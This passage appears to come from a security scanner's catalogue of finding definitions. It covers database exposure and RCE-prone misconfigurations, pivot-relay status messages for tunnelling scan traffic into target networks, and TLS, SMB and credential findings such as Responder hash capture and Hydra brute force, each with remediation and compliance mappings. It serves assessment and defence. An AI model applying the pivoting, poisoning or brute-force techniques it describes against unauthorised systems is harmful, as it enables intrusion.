Remediation: Enable MongoDB authentication (`security.authorization: enabled` in mongod.conf). Create application-specific users with minimal privilege. Bind to 127.0.0.1 unless network access is required. Enable TLS for all connections.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL PHX-260 — Redis Unauthenticated Access
Remediation: Set a strong password with `requirepass` in redis.conf. Enable ACL-based user management (Redis 6+). Bind to 127.0.0.1 with `bind 127.0.0.1`. Rename or disable dangerous commands (CONFIG, DEBUG, EVAL, SLAVEOF) using the `rename-command` directive.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, AC-6, CM-6
PCI DSS 4: 6.2.4, 2.2.1
HIGH PHX-261 — Elasticsearch Unauthenticated Access
Remediation: Enable Elasticsearch X-Pack security (enabled by default in 8.x). Configure TLS and require authentication. Use role-based access control to restrict index access. Place behind a reverse proxy with authentication if X-Pack is unavailable.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6, SC-8
PCI DSS 4: 6.2.4, 2.2.1
CRITICAL PHX-262 — CouchDB Admin Party — No Authentication Required
Remediation: Create at least one admin user immediately (`curl -X PUT http://TARGET:5984/_config/admins/admin -d '"strongpassword"'`). Set `bind_address = 127.0.0.1` in local.ini to prevent external access. Enable SSL. Set `require_valid_user = true` in [chttpd] configuration.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-263 — InfluxDB Unauthenticated Access
Remediation: Enable InfluxDB authentication (`auth-enabled = true` in influxdb.conf). Create admin user and database users with minimal privilege. In InfluxDB 2.x, use token-based authentication. Bind to localhost only unless remote access is required.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-264 — Neo4j Unauthenticated Access
Remediation: Enable Neo4j native authentication (`dbms.security.auth_enabled=true`). Change default neo4j/neo4j credentials on first login. Restrict Bolt (7687) and HTTP (7474) ports using firewall rules. Use role-based access control to limit read/write permissions per user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-265 — Cassandra No Authentication
Remediation: Set `authenticator: PasswordAuthenticator` and `authorizer: CassandraAuthorizer` in cassandra.yaml. Change default cassandra/cassandra credentials. Enable SSL/TLS for client and inter-node communication. Use firewall rules to restrict port 9042 to application hosts only.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-266 — Memcached Unauthenticated Access — Data Dump
Remediation: Bind Memcached to localhost only (`-l 127.0.0.1`). Enable SASL authentication for any deployment requiring network access. Block port 11211 at the firewall. Do not store sensitive data in Memcached without application-level encryption.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4, 2.2.1
HIGH PHX-267 — Database User Excessive Privileges
Remediation: Apply least-privilege principle: application users should only have SELECT/INSERT/UPDATE/DELETE on required tables. Remove SUPERUSER, GRANT OPTION, FILE, PROCESS, REPLICATION privileges. Create dedicated DB users per application component. Audit and remove unused accounts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078.003 (Privilege Escalation)
NIST 800-53: AC-6, CM-6, AC-2
PCI DSS 4: 7.2.4, 8.2.2
MEDIUM PHX-268 — Unencrypted Database Connection
Remediation: Enable SSL/TLS on database connections. For MySQL: set `require_secure_transport=ON`. For PostgreSQL: set `ssl=on` in postgresql.conf and `hostssl` in pg_hba.conf. For MongoDB: configure TLS in mongod.conf. Use valid certificates from a trusted CA.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, SC-13
PCI DSS 4: 4.2.1
MEDIUM PHX-269 — Database Audit Logging Disabled
Remediation: Enable database audit logging. For MySQL: enable `general_log` and `slow_query_log`. For PostgreSQL: configure `log_statement = 'all'` and `log_connections = on`. For MSSQL: enable SQL Server Audit. Forward logs to SIEM for correlation and alerting.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A09:2021 – Security Logging and Monitoring Failures
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1562.006 (Defense Evasion)
NIST 800-53: AU-2, AU-12, AU-3
PCI DSS 4: 10.2.1, 10.3.3
HIGH PHX-270 — Outdated Database Version with Known CVEs
Remediation: Upgrade to the latest stable version of the database software. Subscribe to vendor security advisories. Implement a patching schedule for database systems. Use a vulnerability scanner (Nuclei/Tenable) to continuously track exposed DB versions against CVE databases.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: RA-5, SI-2, SA-11
PCI DSS 4: 6.3.3
HIGH PHX-271 — Database Backup Files Accessible
Remediation: Remove backup files from web-accessible directories. Store backups in isolated storage with restricted access. Encrypt backup files at rest. Use access controls to limit who can read backup storage. Scan web roots regularly for backup file extensions (.sql, .bak, .dump, .tar.gz).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6, MP-5
PCI DSS 4: 3.5.1, 6.2.4
HIGH PHX-272 — Sensitive PII Data in Database Schema
Remediation: Encrypt PII columns at rest using AES-256 (column-level encryption or transparent data encryption). Pseudonymize data where possible. Apply field-level access controls. Conduct a data classification and retention audit. Comply with GDPR/CCPA data minimization requirements.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
MITRE ATT&CK: T1005 (Collection)
NIST 800-53: SC-28, MP-3, AC-6
PCI DSS 4: 3.5.1, 4.2.1
CRITICAL PHX-273 — MySQL FILE / UDF Remote Code Execution
Remediation: Revoke FILE privilege from all non-admin users (`REVOKE FILE ON *.* FROM 'user'@'host'`). Disable `local_infile`. Set `secure_file_priv` to an empty path or a restricted directory. Remove UDF functions that allow OS interaction. Run MySQL as a low-privilege OS user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-274 — PostgreSQL COPY TO PROGRAM Remote Code Execution
Remediation: Revoke SUPERUSER role from application-facing users. Use pg_hba.conf to restrict connections. Set `pg_execute_server_program` permission only on admin roles. Run PostgreSQL as a non-privileged OS user. Apply row-level security where appropriate.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, CM-6
PCI DSS 4: 6.2.4
CRITICAL PHX-275 — Redis SLAVEOF / CONFIG Unauthorized Command Execution
Remediation: Enable Redis authentication (`requirepass`). Use the `rename-command` directive to rename or disable CONFIG, SLAVEOF, DEBUG, EVAL, and EXEC commands. Bind to localhost only. Use Redis ACLs (Redis 6+) to restrict command execution per user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: CM-6, AC-3
PCI DSS 4: 6.2.4
CRITICAL PHX-276 — MSSQL xp_cmdshell Enabled — OS Command Execution
Remediation: Disable xp_cmdshell: `EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;`. Restrict sa account. Use Windows Authentication instead of SQL authentication. Enable SQL Server Audit to detect attempted xp_cmdshell usage.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: SI-10, CM-7, CM-6
PCI DSS 4: 6.2.4, 6.3.2
CRITICAL PHX-277 — Oracle Database Default SYS/SYSTEM Credentials
Remediation: Change all Oracle default passwords immediately (SYS, SYSTEM, DBSNMP, SCOTT, HR, OE, SH, PM, IX, BI accounts). Use Oracle Security Assessment Tool (OSAT) for comprehensive audit. Lock or expire unused default accounts. Enable Oracle Auditing and Database Vault for additional controls.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, CM-6
PCI DSS 4: 8.3.6, 2.2.1
HIGH PHX-278 — Database Accessible from Internet
Remediation: Place databases behind a firewall with deny-all inbound from Internet. Allow only application server IPs to connect on DB port. Use a VPN or bastion host for administrative access. Consider database proxies (ProxySQL, PgBouncer) to add an additional network layer.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SC-7, CM-6
PCI DSS 4: 1.3.2, 6.2.4
HIGH PHX-279 — SQL Injection via Stored Procedure or Trigger
Remediation: Refactor stored procedures to use parameterized inputs instead of dynamic SQL construction. Review all stored procedures for `EXEC()`, `sp_executesql()` with string concatenation. Apply code review to all database objects. Use database static analysis tools (sqlcheck, SonarQube with DB rules).
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM PHX-280 — Database Connection Pool Credentials in Error Response
Remediation: Disable verbose error messages in production (never return stack traces or connection strings to clients). Sanitize all error responses. Use centralized error handling that strips sensitive data before logging. Store credentials in secret managers (HashiCorp Vault, AWS Secrets Manager) rather than config files.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
MITRE ATT&CK: T1552 (Credential Access)
NIST 800-53: SC-28, AU-2
PCI DSS 4: 3.3.2
HIGH PHX-281 — Database User Password Hash Exposed
Remediation: Rotate all database user passwords immediately. Upgrade MySQL to use caching_sha2_password instead of mysql_native_password (MD5-based). For PostgreSQL, use scram-sha-256 in pg_hba.conf. Apply principle of least privilege to prevent non-admin users from reading the user/password tables.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1003.008 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6, 3.5.1
MEDIUM PHX-282 — Anonymous Database Schema Browsing Permitted
Remediation: Restrict access to INFORMATION_SCHEMA to authenticated users only. Revoke SELECT on mysql.user, sys.*, and schema metadata tables from anonymous users. In PostgreSQL, restrict pg_catalog and information_schema access. Enable authentication before any schema metadata is exposed.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1589 (Reconnaissance)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
INFO PIVOT-001 — Relay Established Successfully
Description: A pivot relay session was established between pivot-client and pivot-agent. Authentication, TLS handshake, and network profile activation all succeeded. Scanner traffic can now reach the target CIDR.
INFO PIVOT-002 — Authentication Failed — Invalid HMAC Token
Description: The AUTH message sent by a connecting client contained an HMAC-SHA256 digest that did not match the expected value for the provided nonce and shared secret. The connection was rejected.
INFO PIVOT-003 — Replay Attack Detected — Nonce Already Used
Description: An AUTH message was received with a nonce that has been used in a previous authentication attempt within the current session. This is indicative of a replay attack — a captured AUTH message being retransmitted.
INFO PIVOT-004 — TLS Handshake Failed
Description: The TLS handshake between pivot-client and pivot-agent failed. Possible causes: certificate not trusted by the client's CA bundle, CN/SAN mismatch, expired certificate, or unsupported TLS version.
INFO PIVOT-005 — Unauthorised Connection Attempt — IP Not in Allowlist
Description: A connection was received from a source IP that is not present in security.allowed_peers. The connection was rejected after TLS handshake but before authentication, minimising information leakage.
INFO PIVOT-006 — iptables Rule Applied Successfully
Description: iptables FORWARD and MASQUERADE rules were successfully installed on the relay device for a network profile. IP forwarding is active. Scanner traffic will be NATted to the relay's LAN IP.
INFO PIVOT-007 — iptables Rule Cleanup Completed
Description: All iptables rules installed for a relay session were removed successfully. ip_forward was reset to its pre-session value if no other sessions are active. Relay state is fully clean.
INFO PIVOT-008 — Relay Chain Established
Description: A multi-hop relay chain was successfully established. The current agent spawned an internal chain_connector (pivot-client) to a downstream relay and received network profile activation confirmation. All intermediate routes are active.
INFO PIVOT-009 — Connection to Upstream Relay Failed
Description: A chained relay attempted to connect to its configured upstream relay (pivot-agent at upstream.host) but failed. The chain is broken and the target network is unreachable.
INFO PIVOT-010 — Certificate Validation Failed — Agent Certificate Not Trusted
Description: The pivot-client rejected the agent's TLS certificate because it could not be validated against the configured CA bundle. This may indicate a certificate mismatch or a potential MitM attack.
INFO PIVOT-011 — mTLS Client Certificate Required
Description: The agent is configured with require_client_cert: true (mutual TLS). Clients must present a valid certificate signed by the agent's CA in addition to HMAC token authentication.
INFO PIVOT-012 — HMAC Verification Failed — Token Mismatch
Description: The HMAC-SHA256 digest computed from the client's nonce and the stored shared secret did not match the digest provided in the AUTH message. Authentication was denied. Constant-time comparison was used to prevent timing oracle attacks.
INFO PIVOT-013 — iptables Rule Application Failed
Description: The agent could not install required iptables FORWARD or MASQUERADE rules. This prevents traffic forwarding to the target network. The relay session is non-functional.
INFO PIVOT-014 — Route Installation Failed on Scanner
Description: pivot-client failed to install the OS route for the target CIDR on the scanner machine. The scanner cannot reach the target network even though the relay session is active.
INFO PIVOT-015 — Session Expired — Heartbeat Timeout
Description: The relay session was closed because no HEARTBEAT message was received from the client within the configured heartbeat_timeout period. The client may have crashed or the network path was interrupted.
INFO PIVOT-016 — Maximum Concurrent Sessions Reached
Description: A new connection was rejected because the agent has reached session.max_sessions. No additional relay clients can connect until an existing session is released.
INFO PIVOT-017 — Protocol Message Too Large
Description: A received message exceeded the maximum permitted payload size (1 MB). The connection was closed. This may indicate a malformed client, a bug, or a potential memory exhaustion attempt.
INFO PIVOT-018 — Malformed Protocol Message Received
Description: A message was received that could not be parsed as valid JSON, was missing the required 'type' field, or had a zero-length payload. The connection was closed.
INFO PIVOT-019 — sysctl ip_forward Activation Failed
Description: The agent could not set net.ipv4.ip_forward=1 via sysctl. Without IP forwarding enabled, traffic cannot be relayed between the VPN and LAN interfaces.
INFO PIVOT-020 — Clean Session Deactivation Completed
Description: The pivot-client sent a DEACTIVATE message and the agent responded with DEACTIVATE_RESPONSE. iptables rules, kernel routes, and ip_forward were all cleaned up. Session state is fully removed.
INFO SS3-001 — Live Host Discovered
Description: A host responded to ICMP ping or TCP probe during phase 1 host discovery. The host is alive and will be included in subsequent scan phases.
Remediation: Document all discovered hosts and verify they are authorised to be present on the network segment.
CVSS Vector: N/A
OWASP Web: N/A
INFO SS3-002 — Open Port Discovered
Description: An open TCP/UDP port was detected on a live host. The service listening on the port will be probed for version information and vulnerabilities.
Impact: Each discovered open port represents a network service accessible to attackers. Identifying all open ports is a prerequisite for targeted service exploitation and provides the baseline for vulnerability assessment.
Remediation: Review all open ports and close any that are not required for business operations.
CVSS Vector: N/A
OWASP Web: OWASP-A05:2021
MEDIUM SS3-003 — TLS 1.0 Enabled
Description: The server accepts TLS 1.0 connections. TLS 1.0 is deprecated due to known weaknesses including BEAST, POODLE, and weak cipher suites. PCI DSS 3.2+ requires disabling TLS 1.0.
Remediation: Disable TLS 1.0 on the server. Configure a minimum of TLS 1.2. Prefer TLS 1.3.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
MEDIUM SS3-004 — TLS 1.1 Enabled
Description: The server accepts TLS 1.1 connections. TLS 1.1 is deprecated and does not support modern authenticated cipher suites.
Remediation: Disable TLS 1.1. Configure minimum TLS 1.2 with strong cipher suites.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
CRITICAL SS3-005 — SSLv2 Enabled
Description: The server accepts SSLv2 connections. SSLv2 is fundamentally broken and vulnerable to the DROWN attack (CVE-2016-0800), which can decrypt TLS 1.2 sessions.
Remediation: Disable SSLv2 immediately. Configure modern TLS 1.2+ with authenticated encryption cipher suites.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-006 — SSLv3 Enabled
Description: The server accepts SSLv3 connections. SSLv3 is vulnerable to the POODLE attack (CVE-2014-3566), which allows decryption of CBC-encrypted TLS sessions.
Remediation: Disable SSLv3. Enable only TLS 1.2 and TLS 1.3.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-007 — Weak Cipher Suite Enabled
Description: The server supports cipher suites providing 64-bit or less symmetric encryption, export-grade key exchange, or null/anonymous authentication (RC4, DES, 3DES, EXPORT, aNULL, eNULL).
Remediation: Disable all weak cipher suites. Allow only AEAD ciphers (AES-GCM, ChaCha20-Poly1305) with 128-bit or greater key length.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM SS3-008 — Self-Signed TLS Certificate
Description: The server presents a self-signed certificate not issued by a trusted certificate authority. Clients cannot verify the server's identity, enabling MITM attacks.
Remediation: Replace the self-signed certificate with one issued by a trusted CA. For internal services, deploy an internal PKI.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
HIGH SS3-009 — Expired TLS Certificate
Description: The server's TLS certificate has passed its expiry date. Expired certificates are rejected by modern clients with a hard error, and indicate poor certificate lifecycle management.
Remediation: Renew the certificate immediately. Implement automated certificate renewal (Let's Encrypt / ACME protocol).
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: OWASP-A02:2021
CRITICAL SS3-010 — TLS Heartbleed Vulnerability
Description: The server is vulnerable to Heartbleed (CVE-2014-0160). An attacker can read up to 64 KB of server process memory per request, potentially exposing private keys, session tokens, and plaintext data.
Remediation: Upgrade OpenSSL to 1.0.1g or later. Revoke and replace server certificates and private keys. Invalidate all session tokens.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A06:2021
HIGH SS3-011 — SMB Signing Disabled
Description: SMB packet signing is not required on this host. Without signing, relay attacks (NTLM relay) allow an attacker to authenticate as any user whose credentials can be intercepted.
Remediation: Enable and require SMB signing via Group Policy: 'Microsoft network server: Digitally sign communications (always)'. Enable on all domain controllers and clients.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: SC-8, IA-3
PCI DSS 4: 4.2.1
CRITICAL SS3-012 — SMB Share Accessible (No Authentication)
Description: An SMB share is accessible without authentication (null session or guest access). Files and directories on the share are readable and potentially writable by unauthenticated users.
Remediation: Disable null session access. Remove guest accounts. Enforce authentication on all shares. Audit share permissions.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A01:2021
MEDIUM SS3-013 — SMB Share Accessible (Authenticated)
Description: An SMB share is accessible using provided credentials. The share may expose sensitive files, configuration data, or provide a foothold for lateral movement.
Remediation: Apply least-privilege access controls to all SMB shares. Audit who has read/write access. Remove unnecessary shares.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
HIGH SS3-014 — LLMNR/NBT-NS Response Captured (Responder)
Description: Responder captured an LLMNR or NBT-NS broadcast and responded with a poisoned answer. The victim host sent an NTLM authentication attempt to the attacker.
Remediation: Disable LLMNR and NBT-NS via Group Policy. Enable SMB signing. Deploy 802.1X port authentication. Monitor for LLMNR/NBT-NS traffic.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
CRITICAL SS3-015 — NTLMv1 Hash Captured
Description: An NTLMv1 authentication hash was captured via Responder poisoning. NTLMv1 is trivially crackable in seconds using rainbow tables or GPU brute force.
Remediation: Disable NTLMv1 via Group Policy: 'Network security: LAN Manager authentication level' to 'Send NTLMv2 response only'. Disable LLMNR and NBT-NS.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MITRE ATT&CK: T1557.001 (Collection)
NIST 800-53: IA-3, SC-8, CM-7
PCI DSS 4: 1.3.2, 2.2.4
HIGH SS3-016 — NTLMv2 Hash Captured
Description: An NTLMv2 authentication hash was captured via Responder poisoning. NTLMv2 hashes are crackable offline with GPU-accelerated password cracking tools.
Remediation: Disable LLMNR and NBT-NS. Enforce SMB signing. Use Kerberos authentication in AD environments. Deploy a strong password policy.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A07:2021
CRITICAL SS3-017 — Default Credentials Accepted
Description: A service accepted a known factory-default username and password combination. Default credentials are documented publicly and exploited trivially.
Remediation: Change default credentials immediately on all devices and services. Implement a credential management policy and enforce credential rotation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
CRITICAL SS3-018 — SSH Brute-Force Credentials Valid
Description: Hydra discovered valid SSH credentials by brute-forcing the login service. An attacker can authenticate interactively and gain shell access to the target host.
Remediation: Implement SSH key-based authentication and disable password authentication. Deploy fail2ban or equivalent. Enforce account lockout policy.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-5, AC-7, SI-4
PCI DSS 4: 8.3.1, 8.3.4, 8.3.6
HIGH SS3-019 — FTP Anonymous Login Enabled
Description: The FTP server permits anonymous login. Any user can authenticate without credentials and browse accessible files.
Remediation: Disable anonymous FTP access. If FTP is required, enforce authenticated access. Prefer SFTP or FTPS over plaintext FTP.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A01:2021
HIGH SS3-020 — Nuclei: Known CVE Vulnerability Detected
Description: Nuclei's CVE template library identified a known CVE in a service banner, web application, or network protocol response. The specific CVE and affected component are recorded in the finding evidence.
Remediation: Apply the vendor-supplied patch for the identified CVE. If no patch is available, implement compensating controls (WAF rule, network segmentation, disable the vulnerable feature).
CVSS Vector: N/A
OWASP Web: OWASP-A06:2021
HIGH SS3-021 — Nuclei: Exposed Admin Panel
Description: Nuclei detected an administrative interface (web admin panel, management console, or device configuration portal) exposed without IP restriction.
Remediation: Restrict admin panel access to authorised management networks only. Implement MFA. Place behind VPN where possible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A05:2021
CRITICAL SS3-022 — Nuclei: Default Login Accepted
Description: Nuclei's default-login template confirmed a vendor-default credential pair is accepted by a web application or management interface.
Remediation: Change all default credentials. Enforce a password rotation policy. Add MFA to web-accessible management interfaces.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A07:2021
MEDIUM SS3-023 — Nuclei: Misconfiguration Detected
Description: Nuclei identified a security misconfiguration in a web application, server, or network service (e.g. debug endpoint enabled, directory listing, overly permissive CORS, missing security headers).
Remediation: Review the specific misconfiguration identified in the evidence field and apply the vendor or CIS hardening guidance.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MEDIUM SS3-024 — HTTP Security Header Missing
Description: One or more recommended HTTP security response headers are absent: Content-Security-Policy, Strict-Transport-Security (HSTS), X-Content-Type-Options, X-Frame-Options, Referrer-Policy, or Permissions-Policy.
Remediation: Add the missing security headers to the web server or application configuration. Implement a strong Content Security Policy. Enable HSTS with preloading.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
LOW SS3-025 — Information Disclosure: Web Server
Description: The HTTP Server response header discloses the web server software and version (e.g. Apache/2.4.51 or nginx/1.23.0). This aids reconnaissance and CVE lookup for attackers.
Remediation: Configure the web server to suppress or obscure the Server header. On Apache: ServerTokens Prod. On nginx: server_tokens off.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
MEDIUM SS3-026 — Directory Listing Enabled
Description: The web server returns a directory listing when no index file is present. File paths, names, and modification timestamps are exposed to unauthenticated users.
Remediation: Disable directory listing on the web server. Add an index file to directories that must be accessible. Apache: Options -Indexes. nginx: autoindex off.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
CRITICAL SS3-027 — SQL Injection Vulnerability
Description: sqlmap detected a SQL injection vulnerability in a web application parameter. An attacker can extract, modify, or delete database contents, potentially gaining OS-level command execution.
